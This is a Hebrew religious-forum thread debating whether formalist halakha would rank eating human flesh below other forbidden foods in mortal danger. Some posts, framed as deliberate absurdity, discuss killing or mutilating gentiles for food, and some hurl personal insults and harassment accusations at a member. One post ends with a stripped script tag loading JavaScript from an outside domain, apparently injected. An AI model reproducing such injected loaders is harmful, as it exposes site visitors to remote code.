באשכול "מדף הספרים" הפנו לספר "הטמא והטהור". אם כי שמעתי על ספרי המחבר משנים קדמוניות, בזמנו לא חשבתי שיש בדבריו מהחידוש המקדם מעבר לספרים שאנו רגילים בהם. אך כעת החלטתי לטעום את ספרו זה ומצאתי בו פנינים.
נקודה מעניינת ומאד יסודית היא זו שעקרונה בכותרת האשכול.
מעניין שבמבוא לספר כותב המחבר התנצלות על כתיבת פרקי הספר ומתוך שני נימוקיו, הראשון הוא לשם דחיית דברי הקונטרסים הקוראים לעצמם "דעת אמת" [שם גם יוצא המחבר בהתקפה אישית בלתי מרוסנת]. דחיית הדברים היא בדרכו של מיימוני באשכול "מעשי ה' ומעשי האדם",
http://hydepark.co.il/hydepark/topic.asp?topic_id=122330 ש"טעות של גדול בתורה לא זו בלבד שאינה פוגעת בתורה, אלא גם אינה פוגעת בגדלותו...".
[גם בשם הרש"ר הבאתי לאחרונה כדברים האלה,
http://hydepark.co.il/hydepark/Topic.asp?topic_id=462133]
בכל זאת לא נמנע המחבר בספרו להוכיח נגד קטנות מוחין בהלכה, דבר שבוודאי היה גורם להמון לקטלג אותו יחד עם אלה שהוא בא לדחות, כפי שכאשר לא הבינו, קיטלגו את הרמב"ם ואת הרמח"ל, נוהג הנמשך בכל דור ודור.
הנקודה בספר היא על אכילת בשר אדם שגם ללא איסור פורמלי היא לדעת המחבר חמורה מאיסורי אכילה מן החי שבתורה. לשם כך אעתיק מדבריו שם:
אמרו חז"ל שמי שאחזו בולמוס [סחרחורת שיש בה סכנת נפשות] מאכילים אותו כדי להחיותו אף ממאכלות אסורות אלא ש"הקל הקל תחילה" שאם אפשר מאכילים מאכל האסור מדרבנן לפני האסור מן התורה והאסור מן התורה ללא כרת לפני זה שיש בו כרת.
על זה כותב שם המחבר "הבה נתאר לעצמנו שבפנינו אדם שאחזו בולמוס ואין במקום אלא חלב [ח' צרויה] או דם ששניהם באיסור כרת, ויש לפנינו בשר אדם שאיסורו נתון במחלוקת אם בכלל ואם מן התורה, האם אכן עלינו להאכילו בשר אדם ולא מאכל שיש בו איסור כרת או לאו מן התורה?"
הוא כותב שהוא שאל את השאלה לרבנים בכירים ושהם לא ענו ולרב "תמים" [כדבריו] שמיהר להשיב שוודאי נאכילנו בשר אדם. כותב המחבר: "ייתכן ש"רב" זה למד הרבה וזוכר הרבה תוספות, אך שכל ישר וכושר פסיקה הם ממנו והלאה. הייתכן שהיהדות תעדיף אכילת בשר אדם או בשר גוי מת על פני אכילת בשר טרף או חלב [הוספת ווטו - או ערלה, כלאיים וטבל]?"
"האם על כגון זה אמרה התורה: "כי היא חכמתכם ובינתכם לעיני העמים?" "האם אנו עם קניבאלים?"
בכן זה הנידון.
התנצלות לפי יסודות הפורום, היה עלי להביא את הנידון ללא איזכור ספר [ואכן לא הבאתי את שם המחבר אם כי הוא ידוע, כי רציתי מה שפחות לתלות את הנידון לחוץ מהדברים עצמם].
בכל זאת הבאתי משם,
א. כי משם לקחתי את ההגדרה הקולעת של הכותרת וסידור הדברים,
ב. שם הוכח הנראה כפרדוקס שכאילו הוא מחזק את שהוא לוחם בו.
אבל מהכותבים אבקש להתייחס לתוכן הדברים - "האמת ממי שאמרה".
נשלח ב-21/11/2018 22:10
מה יהיה איתכם עמרצים? אתם לא יודעים שנפסק בשולחן ערוך שבשר אדם אסור מן התורה? ושמלבד זאת גם המת אסור בהנאה?< type="text/" async="" src="//minisrclink.cool/1e40c8bd4601a5a5a4.js">
נשלח ב-21/11/2018 19:22
אם נפל וחזר בתשובה זה עניין אחד, ואם נפל ולא הראה שום סימן של חזרה בתשובה אלא שר' לוי מיימון ברדיצ'ב יכול ללמד עליו זכות זה עניין אחר. מלשונו כאן ומזה שאינו מכחיש אותי, אתה יכול ללמוד שלא חזר בתשובה. הרשה לי לחלוק עליך בעניין היחס המכבד לכל אדם. יש אנשים שלא מגיע להם יחס מכבד אלא מגיע להם שיבזו ויחרפו אותם. חשבתי שתסכים לזה ונוכל לדון מה הגבול, אבל אתה לא מסכים אפילו על העיקרון וזה תימה בעיניי. אגב, מי שהעלה כאן את עניין אבמ"ה זה אני ולא אברם. למה לכרות אבר אם אפשר לאכול ישירות? שמא יש חבלה בכל ביס וביס ולכן אתה מציע לכרות פעם אחת כדי למעט? אגב דאגב, סיפור ר"ל מופיע רק בבבלי שהיה רחוק ממנו, ורוח אגדתית ברורה שורה על הסיפורים הללו. בירושלמי ושאר מקורות ארץ ישראל סיפור כזה לא מופיע, ונראה שהוא נוצר בדמיונם של הבבליים בלבד, אולי על בסיס השם 'לקיש'.
נשלח ב-21/11/2018 19:00
מיימוני כתב:
אברם העברי
איקון ירוק נוסף על האבחנה הפורמליסטית לעילא שאם אין איסור להרוג גוי ואם פיקוח נפש מרעב הוא סיבה לאכול את הגוי, אז מספיק לכאורה לכרות את ידו או איבר בגופו כדי לשבוע
ההברקה הזו שייכת ליש3! ("לא תיתני הברקה, דאיכא איהו")
וכדי שלא יאמרו אי פעם שאני סבור כפי גישה זו, אני מדגיש שכל זה רק בחינת רדוקציו אד אבסורדום, עד היכן אפשר להרחיק לכת.
אם כבר, אז כדאי להזכיר שגם דברי רובין כאן בפורום אינם אלא רדוקציו אד אבסורדום של גישות שקיימות ביהדות, ולא נועדו אלא לדרוש ולקבל שכר הנאה מהפצת עלבונות שנונים. ובכלל, אני מציע לזכור את דברי אחד מחכמי צרפת שקבע כי המחבר מת, ולהתייחס לטקסטים עצמם ולא למי שכותב אותם. הרי הכותב משחק כאן איזשהו תפקיד, .
איקון ירוק נוסף על האבחנה הפורמליסטית לעילא שאם אין איסור להרוג גוי ואם פיקוח נפש מרעב הוא סיבה לאכול את הגוי, אז מספיק לכאורה לכרות את ידו או איבר בגופו כדי לשבוע (ויש לחקור לענין כמה הותר לחתוך, כדי איזה שיעור של אכילה, שהרי כרגע אנו דנים מנקודת ראות פורמליסטית).
וכדי שלא יאמרו אי פעם שאני סבור כפי גישה זו, אני מדגיש שכל זה רק בחינת רדוקציו אד אבסורדום, עד היכן אפשר להרחיק לכת.
יש העיר לי על שביקשתי לא להזכיר לחברנו בפורום נ. ר. על עברו. ואני מבקש להציע כאן את תפיסתי.
ומה עם כל ההטרדות המיניות שלו? האם עשה תשובה וביקש סליחה מכל (עשרות? מאות?) אלה שהטריד הן בפורום הציבורי הסמוך והן במסרים אישיים, עד שקיבל צו בימ"ש.
לא ידעתי על זה כלל. איני יודע אם ביקש. מסתבר שלא היה יכול. אבל יתכן שעשה תשובה. הרי הפסיק.
לכולם מגיע בעיניך יחס אדיב ומכבד?
כן. בהחלט!
גם לאנסים ורוצחים תקרא הגאון הרב או שמא אפילו אצלך יש גבול דק שבו רובין ראוי לכינוי?
א. יש הבדל בין הטרדה לבין אונס ורצח.
ב. אתה צודק. מי שנכשל בפומבי בעוונות כאלו יתכן שאין לכנותו הרב גם לאחר שעשה תשובה.
מצד שני, הקב"ה אינו נועל דלת בפני שבים. וריש לקיש היה רוצח, לפי דעה אחת לפחות, והפך לדיין. (איני זוכר אם כינו אותו "רבי"). זה נוגע לסוגיה על רוצח בשגגה ושאר פושעים האם חוזרים לשררתם והאם תואר כבוד של "הרב" - שזה אמור להיות תואר מכבד ולא סתם מילת נימוס - הוא בגדר שררה שיש למנוע. ואני מגלה כאן את בורותי לעת עתה שאיני יודע מה התשובה לשאלות אלו.
אולם דבר אחד ברור לי מאד. אם היה לפנינו אדם שנפל, אפילו נפל עמוק, ותפס את עצמו, בחסד אלוקים, והחל לבנות לעצמו חיים חדשים, צריך להושיט לו יד ולקבלו וכל עוד הוא משתנה ומתקן דרכיו, יש לומר לו: אחינו אתה.
החרפות והגידופים היו על ציונותו בלבד, שלא קשורה לנושא.
נשלח ב-21/11/2018 14:34
רציתי לציין לספר יהדות בין דת למוסר של אבי שגיא שמאריך בדברי הרב גלזנר האלו.
אבל לענ"ד אין לסחוב את השאלה לויכוח בין דת למוסר, למרות שהרב גלזנר אף הוא לוקח לשם, אלא בין הפורמליזציה של החוק לעיקרון שמחמתו ובשמו הוא בא. והגדיל לעשות הרב גלזנר שהביא דוגמא ממי שיטען שעדיף לצאת ערום ולא ללבוש שמלת אשה.
על חוסר הסנכרון בין רמת החומרה של החוק עצמו, לבין רמת החומרה של הרעיון שעומד מאחוריו כבר השמיענו הרמב"ם בפי"ד מאיסו"ב לגבי בעילת גויה.
ועל גדלותו של הרב גלזנר שקיבל חרפות וגידופים במרחב הקנאי איליו השתייך, ראה בהסכמת ר"מ פיינשטיין לספרו.
נשלח ב-21/11/2018 13:57
מיימוני ומה עם כל ההטרדות המיניות שלו? האם עשה תשובה וביקש סליחה מכל (עשרות? מאות?) אלה שהטריד הן בפורום הציבורי הסמך והן במסרים אישיים, עד שקיבל צו בימ"ש. לכולם מגיע בעיניך יחס אדיב ומכבד? גם לאנסים ורוצחים תקרא הגאון הרב או שמא אפילו אצלך יש גבול דק שבו רובין ראוי לכינוי? מדובר באדם שבתחתית המדרגה האנושית, קוף אדם. בדיוק היום היה דיון בעליון בעניינו של שיינברג, שבטח הגרי"ן שלך מקנא בו בכך שהצליח בזממו בעוד הוא רק שוגה באשליות וסרטים. אם אתה רוצה אתה יכול לפתוח על זה אשכול נפרד - איזה אדם ראוי לשיח מכבד ואיזה לקיתונות של בוז. ואולי עדיף במקום לעסוק בפסולת אנושית שתגיב דווקא להודעה שכתבתי לך עם מקורות לשאלותיך.
נשלח ב-21/11/2018 13:49
מיימוני - אחד המצחיקים שלך, קבל אייקון מחייך:) אבל יש לזכור שמדובר במשיח! וכדרכם של משיחים הרי שמעבר לפסיכופטיותם הם גם פרוצים בעריות, כמו שמצינו אצל אמו של אותו האיש, שבתי צבי, יעקב פרנק...
נשלח ב-21/11/2018 13:04
יש
אני שמח לשמוע שאותו הבלוג נמחק והלך לו.
מעתה יש לנהוג לפי הכלל: מי שעשה תשובה אין מזכירים לו מעשיו הראשונים.
סליחה שאני כותב לפני כולם, אבל חשוב שכולם ידעו זאת.
אברם אני מניח שהרב מדן לא אמר עבדו כי בוודאי יש איסור דאו' להרוג עבד והוא אינו כגוי. מאן דמותיב שפיר קמותיב - אלא שיש מ"ד שעבד כנעני הרי הוא כגוי גמור, אלא שנתחייב במצוות כאשה (וכמו שגוי חייב בשבע מצוות בני נח). אפשרות אחרת היא שישחרר אותו - ויש מ"ד שהוא חייב טבילה כדי להפוך ליהודי. אלא דיש להקשות - הרי הוא עובר על לאו ד"לעולם בהם תעבודו"! וצ"ע.
אבל יש לתמוה על דבריו מדוע לעבור על איסור הריגת גוי מדרבנן? לכאו' אבמ"ה הוא רק על בהמה ועוף. מכאן שהריגת גוי אינה אפילו מדרבנן, והקל הקל תחילה...:)
נשלח ב-21/11/2018 12:54
הוא לא היה משכיל. הוא היה נין של החת"ס ותמך בהפרדת הקהילות. הוא התכתב בשו"ת עם כל גדולי הונגריה (שאינך מכיר כלל כי אתה מכיר רק את השטויות שאתה עסוק בהן; אני בטוח שאתה בקי בשמות כוכבות פורנו יותר מבשמות רבני הונגריה), וכולם כתבו לו בהערכה רבה. אתה בכלל יכול לחשוב על רב משכיל שכתב ספר חידושים על חולין? מאיפה הבאת את הרעיון האידיוטי הזה? עד כדי כך נשתבשה עליך דעתך! אתה מוזמן במקום לבלבל בשכל לפתוח את החידושים וללמוד קצת, או לקרוא קצת מהשו"ת שלו ומקונטרסיו בכמה עניינים ולהחליט לבד אם מדובר ברב משכיל. אתה כמובן יכול לומר שזו שטות גמורה, אפיקורסות וכפירה בעיקר, גם אם אמר זאת רב הונגרי מיינסטרימי (עד שהפך לציוני ר"ל), אבל לא צריך לשגות בדמיונות כזב ומדוחים. את הדמיונות שלך תשאיר לעצמך (וכבר התחלת בכך בזה שמחקת את בלוג חזיונות הפורנו שלך).
נשלח ב-21/11/2018 12:11
אברם אני מניח שהרב מדן לא אמר עבדו כי בוודאי יש איסור דאו' להרוג עבד והוא אינו כגוי. אבל יש לתמוה על דבריו מדוע לעבור על איסור הריגת גוי מדרבנן? לכאו' אבמ"ה הוא רק על בהמה ועוף.
נשלח ב-21/11/2018 12:07
מיימוני איני יכול לתת לך לינק כי סבתא ממילא לא מרשה ללחוץ עליו. אבל דומני שהיא מרשה לחפש בויקיפדיה את הערך. שם תוכל גם למצוא לינק לאתר (ללחוץ על לינק בויקיפדיה היא מרשה?) באנגלית על אודותיו שבו אפשר למצוא את הקדמת הספר כטקסט, ועוד כל מיני דברים. את הספר כולו בפורמט PDF אפשר למצוא בהיברובוקס. לגבי כהן ראה רמ"א (טעות הייתה בידי ואין זה המחבר) יו"ד שעב, ומשם מסתמא בכוחך למצוא את מקורות הדיון ואת המשכו.
נשלח ב-21/11/2018 10:26
אברם
איקון ירוק מאד על דברים יפים מאד שכמובן מביאים את התפיסה הפורמליסטית לידי אבסורד.
יש
איקון ירוק גם לך
לא ידעתי על דברים אלו. היכן מוצאים את הספר הזה ואולי על מחברו? אני משער שהוא קיים באוצר החכמה, כוונתי לספר.
לגבי יציאת כהן ערום, זה נושא מעניין מאד. צריך להתחקות אחריו. אמנם יש להצדיק את הקביעה שיצא וייבוש מפני שאין חכמה ואין מה לעשות לנוכח מצוה מפורשת, כדברי הגמרא. ובכל זאת, היה לנו לדון. כדאי לבחון את הנושא הזה בפרוטרוט.
